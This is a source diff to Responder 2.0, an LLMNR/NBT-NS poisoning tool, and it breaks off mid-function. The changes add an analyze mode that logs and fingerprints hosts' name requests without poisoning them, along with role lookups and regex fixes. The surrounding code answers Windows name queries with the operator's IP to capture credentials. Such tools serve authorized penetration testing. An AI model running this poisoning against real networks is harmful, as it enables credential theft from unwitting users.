diff --git a/Fingerprint.py b/Fingerprint.py
index 5ccc95e..29a7837 100644
--- a/Fingerprint.py
+++ b/Fingerprint.py
@@ -15,7 +15,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
-import re,sys,socket,struct
+import re,sys,socket,struct,string
from socket import *
from odict import OrderedDict
@@ -101,13 +101,14 @@ class SMBSessionFingerData(Packet):
def OsNameClientVersion(data):
- lenght = struct.unpack('.
-import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib
+import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer
from Fingerprint import RunSmbFinger,OsNameClientVersion
from odict import OrderedDict
@@ -26,6 +26,8 @@ from random import randrange
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -b On -r On',
prog=sys.argv[0],
)
+parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", metavar="10.20.30.40",dest="Analyse")
+
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
parser.add_option('-I','--interface', action="store", help="Network interface to use", metavar="eth0", dest="INTERFACE", default="Not set")
@@ -46,7 +48,7 @@ parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose")
options, args = parser.parse_args()
-if options.OURIP is None:
+if options.OURIP is None and options.Analyse is None:
print "-i mandatory option is missing\n"
parser.print_help()
exit(-1)
@@ -86,6 +88,7 @@ Finger_On_Off = options.Finger.upper()
INTERFACE = options.INTERFACE
Verbose = options.Verbose
Force_WPAD_Auth = options.Force_WPAD_Auth.upper()
+AnalyzeMode = options.Analyse
if INTERFACE != "Not set":
BIND_TO_Interface = INTERFACE
@@ -114,6 +117,12 @@ def OsInterfaceIsSupported(INTERFACE):
if INTERFACE == "Not set":
return False
+def Analyze(AnalyzeMode):
+ if AnalyzeMode == True:
+ return True
+ else:
+ return False
+
#Logger
import logging
logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
@@ -123,6 +132,10 @@ Log2Filename = str(os.path.join(ResponderPATH,"LLMNR-NBT-NS.log"))
logger2 = logging.getLogger('LLMNR/NBT-NS')
logger2.addHandler(logging.FileHandler(Log2Filename,'w'))
+AnalyzeFilename = str(os.path.join(ResponderPATH,"Analyze-LLMNR-NBT-NS.log"))
+logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
+logger3.addHandler(logging.FileHandler(AnalyzeFilename,'w'))
+
def Show_Help(ExtraHelpData):
help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n"
help+= ExtraHelpData
@@ -140,7 +153,7 @@ def WriteData(outfile,data, user):
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
- if re.search("\$", user):
+ if re.search(re.escape("$"), user):
filestr.close()
return False
else:
@@ -157,7 +170,7 @@ def PrintData(outfile,user):
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
- if re.search("\$", user):
+ if re.search(re.escape("$"), user):
filestr.close()
return False
else:
@@ -170,7 +183,7 @@ def PrintLLMNRNBTNS(outfile,Message):
return True
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
- if re.search(Message, filestr.read()):
+ if re.search(re.escape(Message), filestr.read()):
filestr.close()
return False
else:
@@ -186,10 +199,8 @@ for i in range(0,len(NumChal),2):
Show_Help("[+]NBT-NS & LLMNR responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off))
-#Simple NBNS Services.
-W_REDIRECT = "\x41\x41\x00"
-FILE_SERVER = "\x43\x41\x00"
-
+if AnalyzeMode:
+ print '[+]Responder is in analyze mode. No NBT-NS/LLMNR requests will be poisoned.\n'
#Packet class handling all packet generation (see odict.py).
class Packet():
@@ -252,12 +263,31 @@ class NBT_Ans(Packet):
self.fields["NbtName"] = data[12:46]
self.fields["IP"] = inet_aton(OURIP)
+def NBT_NS_Role(data):
+ Role = {
+ "\x41\x41\x00":"Workstation/Redirector Service",
+ "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller if any, according to MSFT specs.)",
+ "\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
+ "\x42\x4e\x00":"Local Master Browser",
+ "\x42\x4f\x00":"Browser Election Service.",
+ "\x43\x41\x00":"File Server Service",
+ "\x41\x42\x00":"Browser Service",
+ }
+
+ if data in Role:
+ return Role[data]
+ else:
+ return "Service not known."
+
# Define what are we answering to.
def Validate_NBT_NS(data,Wredirect):
- if FILE_SERVER == data[43:46]:
+ if Analyze(AnalyzeMode):
+ #print NBT_NS_Role(data[43:46])
+ return False
+ if NBT_NS_Role(data[43:46]) == "File Server Service":
return True
if Wredirect == "ON":
- if W_REDIRECT == data[43:46]:
+ if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service":
return True
else:
return False
@@ -271,7 +301,7 @@ def Decode_Name(nbname):
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
- return ''.join(l).split('\x00', 1)[0].strip()
+ return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except:
return "Illegal NetBIOS name"
@@ -282,7 +312,26 @@ class NB(BaseRequestHandler):
request, socket = self.request
data = request
Name = Decode_Name(data[13:45])
- if RespondToSpecificHost(RespondTo):
+
+ if Analyze(AnalyzeMode):
+ if data[2:4] == "\x01\x10":
+ if Is_Finger_On(Finger_On_Off):
+ try:
+ Finger = RunSmbFinger((self.client_address[0],445))
+ Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1])
+ logger3.warning(Message)
+ except Exception:
+ Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]))
+ logger3.warning(Message)
+ if PrintLLMNRNBTNS(AnalyzeFilename,Message):
+ print Message
+ else:
+ Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]))
+ if PrintLLMNRNBTNS(AnalyzeFilename,Message):
+ print Message
+ logger3.warning(Message)
+
+ if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,Wredirect):
@@ -290,7 +339,7 @@ class NB(BaseRequestHandler):
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
- Message = 'NBT-NS Answer sent to: %s. The requested name was : %s.'%(self.client_address[0], Name)
+ Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
@@ -298,6 +347,8 @@ class NB(BaseRequestHandler):
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
+ print '[+] OsVersion is:%s'%(Finger[0])
+ print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
@@ -308,12 +359,12 @@ class NB(BaseRequestHandler):
else:
if data[2:4] == "\x01\x10":
- if Validate_NBT_NS(data,Wredirect):
+ if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
- Message = 'NBT-NS Answer sent to: %s. The requested name was : %s.'%(self.client_address[0], Name)
+ Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
@@ -321,6 +372,8 @@ class NB(BaseRequestHandler):
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
+ print '[+] OsVersion is:%s'%(Finger[0])
+ print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
@@ -330,34 +383,55 @@ class NB(BaseRequestHandler):
##################################################################################
#Browser Listener
##################################################################################
-def FindPDC(data,Client):
+def BecomeBackup(data,Client):
DataOffset = struct.unpack('